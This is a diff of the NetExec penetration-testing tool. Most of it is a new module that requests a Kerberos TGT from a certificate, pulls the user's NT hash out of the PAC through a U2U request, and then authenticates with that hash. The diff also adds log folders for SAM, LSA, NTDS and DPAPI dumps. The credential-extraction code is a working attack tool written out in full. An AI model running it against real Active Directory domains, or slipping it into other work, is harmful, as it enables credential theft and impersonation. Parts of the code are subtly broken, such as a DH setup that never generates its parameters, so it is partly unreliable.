self.db_execute(table.delete())
|
||||
|
||||
def db_execute(self, *args):
|
||||
self.lock.acquire()
|
||||
res = self.sess.execute(*args)
|
||||
self.lock.release()
|
||||
return res
|
||||
@@ -29,6 +29,17 @@ def first_run_setup(logger=nxc_logger):
|
||||
logger.display(f"Creating missing folder {folder}")
|
||||
mkdir(path_join(NXC_PATH, folder))
|
||||
|
||||
log_subfolders = (
|
||||
"sam",
|
||||
"lsa",
|
||||
"ntds",
|
||||
"dpapi",
|
||||
)
|
||||
for subfolder in log_subfolders:
|
||||
if not exists(path_join(NXC_PATH, f"logs/{subfolder}")):
|
||||
logger.display(f"Creating missing folder logs/{subfolder}")
|
||||
mkdir(path_join(NXC_PATH, f"logs/{subfolder}"))
|
||||
|
||||
initialize_db()
|
||||
|
||||
if not exists(CONFIG_PATH):
|
||||
|
||||
+16
-1
@@ -1,4 +1,5 @@
|
||||
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
|
||||
from argparse import Action
|
||||
|
||||
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
|
||||
def _get_help_string(self, action):
|
||||
@@ -7,4 +8,18 @@ class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
|
||||
defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
|
||||
if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None
|
||||
help_string += " (default: %(default)s)" # NORUFF
|
||||
return help_string
|
||||
return help_string
|
||||
|
||||
|
||||
class DefaultTrackingAction(Action):
|
||||
def __init__(self, option_strings, dest, default=None, required=False, **kwargs):
|
||||
# Store the default value to check later
|
||||
self.default_value = default
|
||||
super().__init__(
|
||||
option_strings, dest, default=default, required=required, **kwargs
|
||||
)
|
||||
|
||||
def __call__(self, parser, namespace, values, option_string=None):
|
||||
# Set an attribute to track whether the value was explicitly set
|
||||
setattr(namespace, self.dest, values)
|
||||
setattr(namespace, f"{self.dest}_explicitly_set", True)
|
||||
@@ -0,0 +1,538 @@
|
||||
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
# Dirk-jan Mollema (@_dirkjan)
|
||||
#
|
||||
# Description:
|
||||
# This script will use an existing TGT to request a PAC for the current user using U2U.
|
||||
# When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
|
||||
# used for silver tickets and for backwards compatibility with other tooling.
|
||||
#
|
||||
# References:
|
||||
#
|
||||
# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
|
||||
#
|
||||
# Based on examples from minikerberos by skelsec
|
||||
# Parts of this code was inspired by the following project by @rubin_mor
|
||||
# https://github.com/morRubin/AzureADJoinedMachinePTC
|
||||
#
|
||||
# Author:
|
||||
# Tamas Jos (@skelsec)
|
||||
# Dirk-jan Mollema (@_dirkjan)
|
||||
#
|
||||
|
||||
import os
|
||||
import secrets
|
||||
import hashlib
|
||||
import datetime
|
||||
import logging
|
||||
import random
|
||||
import base64
|
||||
|
||||
from binascii import unhexlify, hexlify
|
||||
|
||||
from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private
|
||||
from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key
|
||||
|
||||
from asn1crypto import cms
|
||||
from asn1crypto import algos
|
||||
from asn1crypto import core
|
||||
from asn1crypto import keys
|
||||
|
||||
from minikerberos.pkinit import PKINIT, DirtyDH
|
||||
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
|
||||
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
|
||||
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, \
|
||||
PA_PAC_REQUEST
|
||||
from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
|
||||
|
||||
from pyasn1.codec.der import decoder, encoder
|
||||
from pyasn1.type.univ import noValue
|
||||
|
||||
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
|
||||
from impacket.krb5.kerberosv5 import sendReceive
|
||||
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
|
||||
PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
|
||||
from impacket.krb5.types import Principal, KerberosTime, Ticket
|
||||
|
||||
# Imports for pfx_auth
|
||||
from minikerberos.network.clientsocket import KerberosClientSocket
|
||||
from minikerberos.common.target import KerberosTarget
|
||||
from minikerberos.common.ccache import CCACHE
|
||||
|
||||
from impacket.krb5.ccache import CCache as impacket_CCache
|
||||
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class myPKINIT(PKINIT):
|
||||
"""
|
||||
Copy of minikerberos PKINIT
|
||||
With some changes where it differs from PKINIT used in NegoEx
|
||||
"""
|
||||
|
||||
@staticmethod
|
||||
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
|
||||
with open(pfxfile, "rb") as f:
|
||||
pfxdata = f.read()
|
||||
|
||||
if b64:
|
||||
pfxdata = base64.b64decode(pfxdata)
|
||||
|
||||
return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
|
||||
|
||||
@staticmethod
|
||||
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
|
||||
pkinit = myPKINIT()
|
||||
# oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead
|
||||
if not pfxpass:
|
||||
from cryptography.hazmat.primitives.serialization import pkcs12
|
||||
from cryptography.hazmat.primitives import serialization
|
||||
privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None)
|
||||
pem_key = privkey.private_bytes(
|
||||
encoding=serialization.Encoding.PEM,
|
||||
format=serialization.PrivateFormat.TraditionalOpenSSL,
|
||||
encryption_algorithm=serialization.NoEncryption(),
|
||||
)
|
||||
pkinit.privkey = load_private_key(parse_private(pem_key))
|
||||
pem_cert = cert.public_bytes(
|
||||
encoding=serialization.Encoding.PEM
|
||||
)
|
||||
pkinit.certificate = parse_certificate(pem_cert)
|
||||
else:
|
||||
if isinstance(pfxpass, str):
|
||||
pfxpass = pfxpass.encode()
|
||||
pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass)
|
||||
pkinit.privkey = load_private_key(pkinit.privkeyinfo)
|
||||
pkinit.setup(dh_params=dh_params)
|
||||
return pkinit
|
||||
|
||||
@staticmethod
|
||||
def from_pem(certfile, privkeyfile, dh_params=None):
|
||||
pkinit = myPKINIT()
|
||||
with open(certfile, "rb") as f:
|
||||
pkinit.certificate = parse_certificate(f.read())
|
||||
with open(privkeyfile, "rb") as f:
|
||||
pkinit.privkey = load_private_key(parse_private(f.read()))
|
||||
pkinit.setup(dh_params=dh_params)
|
||||
return pkinit
|
||||
|
||||
def sign_authpack(self, data, wrap_signed=False):
|
||||
return self.sign_authpack_native(data, wrap_signed)
|
||||
|
||||
def setup(self, dh_params=None):
|
||||
self.issuer = self.certificate.issuer.native["common_name"]
|
||||
if dh_params is None:
|
||||
print("Generating DH params...")
|
||||
print("DH params generated.")
|
||||
else:
|
||||
if isinstance(dh_params, dict):
|
||||
self.diffie = DirtyDH.from_dict(dh_params)
|
||||
elif isinstance(dh_params, bytes):
|
||||
self.diffie = DirtyDH.from_asn1(dh_params)
|
||||
elif isinstance(dh_params, DirtyDH):
|
||||
self.diffie = dh_params
|
||||
else:
|
||||
raise Exception("DH params must be either a bytearray or a dict")
|
||||
|
||||
def build_asreq(self, domain=None, cname=None, kdcopts=None):
|
||||
if kdcopts is None:
|
||||
kdcopts = ["forwardable", "renewable", "renewable-ok"]
|
||||
if isinstance(kdcopts, list):
|
||||
kdcopts = set(kdcopts)
|
||||
if cname is not None:
|
||||
if isinstance(cname, str):
|
||||
cname = [cname]
|
||||
else:
|
||||
cname = [self.cname]
|
||||
|
||||
now = datetime.datetime.now(datetime.timezone.utc)
|
||||
|
||||
kdc_req_body_data = {}
|
||||
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
|
||||
kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
|
||||
kdc_req_body_data["realm"] = domain.upper()
|
||||
kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
|
||||
kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
|
||||
kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
|
||||
kdc_req_body_data["nonce"] = secrets.randbits(31)
|
||||
kdc_req_body_data["etype"] = [18, 17] # 23 breaks...
|
||||
kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
|
||||
|
||||
checksum = hashlib.sha1(kdc_req_body.dump()).digest()
|
||||
|
||||
authenticator = {}
|
||||
authenticator["cusec"] = now.microsecond
|
||||
authenticator["ctime"] = now.replace(microsecond=0)
|
||||
authenticator["nonce"] = secrets.randbits(31)
|
||||
authenticator["paChecksum"] = checksum
|
||||
|
||||
dp = {}
|
||||
dp["p"] = self.diffie.p
|
||||
dp["g"] = self.diffie.g
|
||||
dp["q"] = 0 # mandatory parameter, but it is not needed
|
||||
|
||||
pka = {}
|
||||
pka["algorithm"] = "1.2.840.10046.2.1"
|
||||
pka["parameters"] = keys.DomainParameters(dp)
|
||||
|
||||
spki = {}
|
||||
spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
|
||||
spki["public_key"] = self.diffie.get_public_key()
|
||||
|
||||
authpack = {}
|
||||
authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
|
||||
authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
|
||||
authpack["clientDHNonce"] = self.diffie.dh_nonce
|
||||
|
||||
authpack = AuthPack(authpack)
|
||||
signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
|
||||
|
||||
payload = PA_PK_AS_REQ()
|
||||
payload["signedAuthPack"] = signed_authpack
|
||||
|
||||
pa_data_1 = {}
|
||||
pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
|
||||
pa_data_1["padata-value"] = payload.dump()
|
||||
|
||||
pa_data_0 = {}
|
||||
pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
|
||||
pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
|
||||
|
||||
asreq = {}
|
||||
asreq["pvno"] = 5
|
||||
asreq["msg-type"] = 10
|
||||
asreq["padata"] = [pa_data_0, pa_data_1]
|
||||
asreq["req-body"] = kdc_req_body
|
||||
|
||||
return AS_REQ(asreq).dump()
|
||||
|
||||
def sign_authpack_native(self, data, wrap_signed=False):
|
||||
"""
|
||||
Creating PKCS7 blob which contains the following things:
|
||||
|
||||
1. 'data' blob which is an ASN1 encoded "AuthPack" structure
|
||||
2. the certificate used to sign the data blob
|
||||
3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
|
||||
"""
|
||||
da = {}
|
||||
da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26") # for sha1
|
||||
|
||||
si = {}
|
||||
si["version"] = "v1"
|
||||
si["sid"] = cms.IssuerAndSerialNumber({
|
||||
"issuer": self.certificate.issuer,
|
||||
"serial_number": self.certificate.serial_number,
|
||||
})
|
||||
|
||||
si["digest_algorithm"] = algos.DigestAlgorithm(da)
|
||||
si["signed_attrs"] = [
|
||||
cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
|
||||
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
|
||||
]
|
||||
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
|
||||
si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1")
|
||||
|
||||
ec = {}
|
||||
ec["content_type"] = "1.3.6.1.5.2.3.1"
|
||||
ec["content"] = data
|
||||
|
||||
sd = {}
|
||||
sd["version"] = "v3"
|
||||
sd["digest_algorithms"] = [algos.DigestAlgorithm(da)] # must have only one
|
||||
sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
|
||||
sd["certificates"] = [self.certificate]
|
||||
sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
|
||||
|
||||
if wrap_signed is True:
|
||||
ci = {}
|
||||
ci["content_type"] = "1.2.840.113549.1.7.2" # signed data OID
|
||||
ci["content"] = cms.SignedData(sd)
|
||||
return cms.ContentInfo(ci).dump()
|
||||
|
||||
return cms.SignedData(sd).dump()
|
||||
|
||||
def decrypt_asrep(self, as_rep):
|
||||
def truncate_key(value, keysize):
|
||||
output = b""
|
||||
currentNum = 0
|
||||
while len(output) < keysize:
|
||||
currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
|
||||
if len(output) + len(currentDigest) > keysize:
|
||||
output += currentDigest[:keysize - len(output)]
|
||||
break
|
||||
output += currentDigest
|
||||
currentNum += 1
|
||||
|
||||
return output
|
||||
|
||||
for pa in as_rep["padata"]:
|
||||
if pa["padata-type"] == 17:
|
||||
pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
|
||||
break
|
||||
else:
|
||||
raise Exception("PA_PK_AS_REP not found!")
|
||||
ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
|
||||
sd = ci["content"]
|
||||
keyinfo = sd["encap_content_info"]
|
||||
if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
|
||||
raise Exception("Keyinfo content type unexpected value")
|
||||
authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
|
||||
pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
|
||||
|
||||
pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
|
||||
shared_key = self.diffie.exchange(pubkey)
|
||||
|
||||
server_nonce = pkasrep["serverDHNonce"]
|
||||
fullKey = shared_key + self.diffie.dh_nonce + server_nonce
|
||||
|
||||
etype = as_rep["enc-part"]["etype"]
|
||||
cipher = _enctype_table[etype]
|
||||
if etype == Enctype.AES256:
|
||||
t_key = truncate_key(fullKey, 32)
|
||||
elif etype == Enctype.AES128:
|
||||
t_key = truncate_key(fullKey, 16)
|
||||
elif etype == Enctype.RC4:
|
||||
raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
|
||||
|
||||
key = Key(cipher.enctype, t_key)
|
||||
enc_data = as_rep["enc-part"]["cipher"]
|
||||
logging.info("AS-REP encryption key (you might need this later):")
|
||||
logging.info(hexlify(t_key).decode("utf-8"))
|
||||
dec_data = cipher.decrypt(key, 3, enc_data)
|
||||
encasrep = EncASRepPart.load(dec_data).native
|
||||
cipher = _enctype_table[int(encasrep["key"]["keytype"])]
|
||||
session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
|
||||
return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
|
||||
|
||||
|
||||
class GETPAC:
|
||||
|
||||
def printPac(self, data, key=None):
|
||||
nthash = None
|
||||
encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
|
||||
adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
|
||||
0]
|
||||
# So here we have the PAC
|
||||
pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
|
||||
buff = pacType["Buffers"]
|
||||
found = False
|
||||
for _bufferN in range(pacType["cBuffers"]):
|
||||
infoBuffer = PAC_INFO_BUFFER(buff)
|
||||
data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
print("TYPE 0x%x" % infoBuffer["ulType"])
|
||||
if infoBuffer["ulType"] == 2:
|
||||
found = True
|
||||
credinfo = PAC_CREDENTIAL_INFO(data)
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
credinfo.dump()
|
||||
newCipher = _enctype_table[credinfo["EncryptionType"]]
|
||||
out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
|
||||
type1 = TypeSerialization1(out)
|
||||
# I'm skipping here 4 bytes with its the ReferentID for the pointer
|
||||
newdata = out[len(type1) + 4:]
|
||||
pcc = PAC_CREDENTIAL_DATA(newdata)
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
pcc.dump()
|
||||
for cred in pcc["Credentials"]:
|
||||
credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
credstruct.dump()
|
||||
|
||||
logging.info("Recovered NT Hash")
|
||||
logging.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
|
||||
nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
|
||||
|
||||
buff = buff[len(infoBuffer):]
|
||||
|
||||
if not found:
|
||||
logging.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
|
||||
return nthash
|
||||
|
||||
def __init__(self, username, domain, kdcHost, key, tgt):
|
||||
self.__username = username
|
||||
self.__domain = domain.upper()
|
||||
self.__kdcHost = kdcHost
|
||||
self.__asrep_key = key
|
||||
self.__tgt = tgt["KDC_REP"]
|
||||
self.__cipher = tgt["cipher"]
|
||||
self.__sessionKey = tgt["sessionKey"]
|
||||
|
||||
def dump(self):
|
||||
# Try all requested protocols until one works.
|
||||
tgt = self.__tgt
|
||||
cipher = self.__cipher
|
||||
sessionKey = self.__sessionKey
|
||||
|
||||
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
|
||||
|
||||
# Extract the ticket from the TGT
|
||||
ticket = Ticket()
|
||||
ticket.from_asn1(decodedTGT["ticket"])
|
||||
|
||||
apReq = AP_REQ()
|
||||
apReq["pvno"] = 5
|
||||
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
||||
|
||||
opts = []
|
||||
apReq["ap-options"] = constants.encodeFlags(opts)
|
||||
seq_set(apReq, "ticket", ticket.to_asn1)
|
||||
|
||||
authenticator = Authenticator()
|
||||
authenticator["authenticator-vno"] = 5
|
||||
authenticator["crealm"] = str(decodedTGT["crealm"])
|
||||
|
||||
clientName = Principal()
|
||||
clientName.from_asn1(decodedTGT, "crealm", "cname")
|
||||
|
||||
seq_set(authenticator, "cname", clientName.components_to_asn1)
|
||||
|
||||
now = datetime.datetime.utcnow()
|
||||
authenticator["cusec"] = now.microsecond
|
||||
authenticator["ctime"] = KerberosTime.to_asn1(now)
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug("AUTHENTICATOR")
|
||||
print(authenticator.prettyPrint())
|
||||
print("\n")
|
||||
|
||||
encodedAuthenticator = encoder.encode(authenticator)
|
||||
|
||||
# Key Usage 7
|
||||
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
|
||||
# TGS authenticator subkey), encrypted with the TGS session
|
||||
# key (Section 5.5.1)
|
||||
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
|
||||
|
||||
apReq["authenticator"] = noValue
|
||||
apReq["authenticator"]["etype"] = cipher.enctype
|
||||
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
|
||||
|
||||
encodedApReq = encoder.encode(apReq)
|
||||
|
||||
tgsReq = TGS_REQ()
|
||||
|
||||
tgsReq["pvno"] = 5
|
||||
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
|
||||
|
||||
tgsReq["padata"] = noValue
|
||||
tgsReq["padata"][0] = noValue
|
||||
tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
|
||||
tgsReq["padata"][0]["padata-value"] = encodedApReq
|
||||
|
||||
reqBody = seq_set(tgsReq, "req-body")
|
||||
|
||||
opts = []
|
||||
opts.append(constants.KDCOptions.forwardable.value)
|
||||
opts.append(constants.KDCOptions.renewable.value)
|
||||
opts.append(constants.KDCOptions.canonicalize.value)
|
||||
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
|
||||
|
||||
reqBody["kdc-options"] = constants.encodeFlags(opts)
|
||||
|
||||
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
|
||||
|
||||
seq_set(reqBody, "sname", serverName.components_to_asn1)
|
||||
reqBody["realm"] = str(decodedTGT["crealm"])
|
||||
|
||||
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
|
||||
|
||||
reqBody["till"] = KerberosTime.to_asn1(now)
|
||||
reqBody["nonce"] = random.getrandbits(31)
|
||||
seq_set_iter(reqBody, "etype",
|
||||
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
|
||||
|
||||
myTicket = ticket.to_asn1(TicketAsn1())
|
||||
seq_set_iter(reqBody, "additional-tickets", (myTicket,))
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug("Final TGS")
|
||||
print(tgsReq.prettyPrint())
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug("Final TGS")
|
||||
print(tgsReq.prettyPrint())
|
||||
|
||||
message = encoder.encode(tgsReq)
|
||||
logging.info("Requesting ticket to self with PAC")
|
||||
|
||||
r = sendReceive(message, self.__domain, self.__kdcHost)
|
||||
|
||||
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug("TGS_REP")
|
||||
print(tgs.prettyPrint())
|
||||
|
||||
cipherText = tgs["ticket"]["enc-part"]["cipher"]
|
||||
|
||||
# Key Usage 2
|
||||
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
|
||||
# application session key), encrypted with the service key
|
||||
# (section 5.4.2)
|
||||
|
||||
# S4USelf + U2U uses this other key
|
||||
plainText = cipher.decrypt(sessionKey, 2, cipherText)
|
||||
specialkey = Key(18, unhexlify(self.__asrep_key))
|
||||
return self.printPac(plainText, specialkey)
|
||||
|
||||
|
||||
def pfx_auth(self):
|
||||
"""Handles the authentication using a PFX or PEM file"""
|
||||
# Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
|
||||
dhparams = {
|
||||
"p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
|
||||
"g": 2
|
||||
}
|
||||
self.logger.info("Loading certificate and key from file")
|
||||
|
||||
# Load the certificate and key from file
|
||||
if self.args.pfx_cert or self.args.pfx_base64:
|
||||
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
|
||||
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
|
||||
elif self.args.pem_cert and self.args.pem_key:
|
||||
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
|
||||
else:
|
||||
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
|
||||
return None
|
||||
|
||||
username = self.args.username[0]
|
||||
log_ccache = os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache".replace(":", "-"))
|
||||
|
||||
# Request a TGT with the cert data
|
||||
req = ini.build_asreq(self.domain, username)
|
||||
self.logger.info("Requesting TGT")
|
||||
|
||||
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
|
||||
try:
|
||||
res = sock.sendrecv(req)
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
return False
|
||||
|
||||
encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
|
||||
ccache_minikerberos = CCACHE()
|
||||
ccache_minikerberos.add_tgt(res.native, encasrep)
|
||||
ccache_minikerberos.to_file(log_ccache)
|
||||
self.logger.info(f"Saved TGT to file {log_ccache}")
|
||||
self.logger.info(f"Using Kerberos Cache {log_ccache}")
|
||||
ccache = impacket_CCache.loadFile(log_ccache)
|
||||
principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
|
||||
creds = ccache.getCredential(principal)
|
||||
if creds is not None:
|
||||
tgt = creds.toTGT()
|
||||
dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
|
||||
nthash = dumper.dump()
|
||||
if not self.kerberos:
|
||||
self.hash_login(self.domain, username, nthash)
|
||||
else:
|
||||
self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
|
||||
|
||||
self.logger.info("Successfully authenticated using Certificate")
|
||||
return True
|
||||
+22
-32
@@ -3,8 +3,8 @@ from logging import LogRecord
|
||||
from logging.handlers import RotatingFileHandler
|
||||
import os.path
|
||||
import sys
|
||||
import re
|
||||
from nxc.console import nxc_console
|
||||
from nxc.paths import NXC_PATH
|
||||
from termcolor import colored
|
||||
from datetime import datetime
|
||||
from rich.text import Text
|
||||
@@ -21,47 +21,47 @@ def parse_debug_args():
|
||||
args, _ = debug_parser.parse_known_args()
|
||||
return args
|
||||
|
||||
|
||||
def setup_debug_logging():
|
||||
debug_args = parse_debug_args()
|
||||
root_logger = logging.getLogger("root")
|
||||
|
||||
|
||||
if debug_args.verbose:
|
||||
nxc_logger.logger.setLevel(logging.INFO)
|
||||
root_logger.setLevel(logging.INFO)
|
||||
elif debug_args.debug:
|
||||
nxc_logger.logger.setLevel(logging.DEBUG)
|
||||
root_logger.setLevel(logging.INFO)
|
||||
root_logger.setLevel(logging.DEBUG)
|
||||
else:
|
||||
nxc_logger.logger.setLevel(logging.ERROR)
|
||||
root_logger.setLevel(logging.ERROR)
|
||||
|
||||
|
||||
|
||||
def create_temp_logger(caller_frame, formatted_text, args, kwargs):
|
||||
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
|
||||
temp_logger = logging.getLogger("temp")
|
||||
formatter = logging.Formatter("%(message)s", datefmt="[%X]")
|
||||
handler = SmartDebugRichHandler(formatter=formatter)
|
||||
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame))
|
||||
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame))
|
||||
|
||||
|
||||
class SmartDebugRichHandler(RichHandler):
|
||||
"""Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
|
||||
|
||||
def __init__(self, formatter=None, *args, **kwargs):
|
||||
super().__init__(*args, **kwargs)
|
||||
if formatter is not None:
|
||||
self.setFormatter(formatter)
|
||||
|
||||
|
||||
def emit(self, record):
|
||||
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
|
||||
# for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
|
||||
record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
|
||||
|
||||
if hasattr(record, "caller_frame"):
|
||||
frame_info = inspect.getframeinfo(record.caller_frame)
|
||||
record.pathname = frame_info.filename
|
||||
record.lineno = frame_info.lineno
|
||||
super().emit(record)
|
||||
|
||||
|
||||
def no_debug(func):
|
||||
"""Stops logging non-debug messages when we are in debug mode
|
||||
It creates a temporary logger and logs the message to the console and file
|
||||
@@ -71,7 +71,7 @@ def no_debug(func):
|
||||
def wrapper(self, msg, *args, **kwargs):
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO:
|
||||
return func(self, msg, *args, **kwargs)
|
||||
else:
|
||||
else:
|
||||
formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
|
||||
caller_frame = inspect.currentframe().f_back
|
||||
create_temp_logger(caller_frame, formatted_text, args, kwargs)
|
||||
@@ -80,7 +80,7 @@ def no_debug(func):
|
||||
|
||||
|
||||
class NXCAdapter(logging.LoggerAdapter):
|
||||
def __init__(self, extra=None):
|
||||
def __init__(self, extra=None, merge_extra=False):
|
||||
logging.basicConfig(
|
||||
format="%(message)s",
|
||||
datefmt="[%X]",
|
||||
@@ -89,11 +89,13 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
rich_tracebacks=True,
|
||||
tracebacks_show_locals=False
|
||||
)],
|
||||
encoding="utf-8"
|
||||
)
|
||||
self.logger = logging.getLogger("nxc")
|
||||
self.extra = extra
|
||||
self.merge_extra = merge_extra
|
||||
self.output_file = None
|
||||
|
||||
|
||||
logging.getLogger("impacket").disabled = True
|
||||
logging.getLogger("pypykatz").disabled = True
|
||||
logging.getLogger("minidump").disabled = True
|
||||
@@ -163,15 +165,16 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
|
||||
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
|
||||
"""
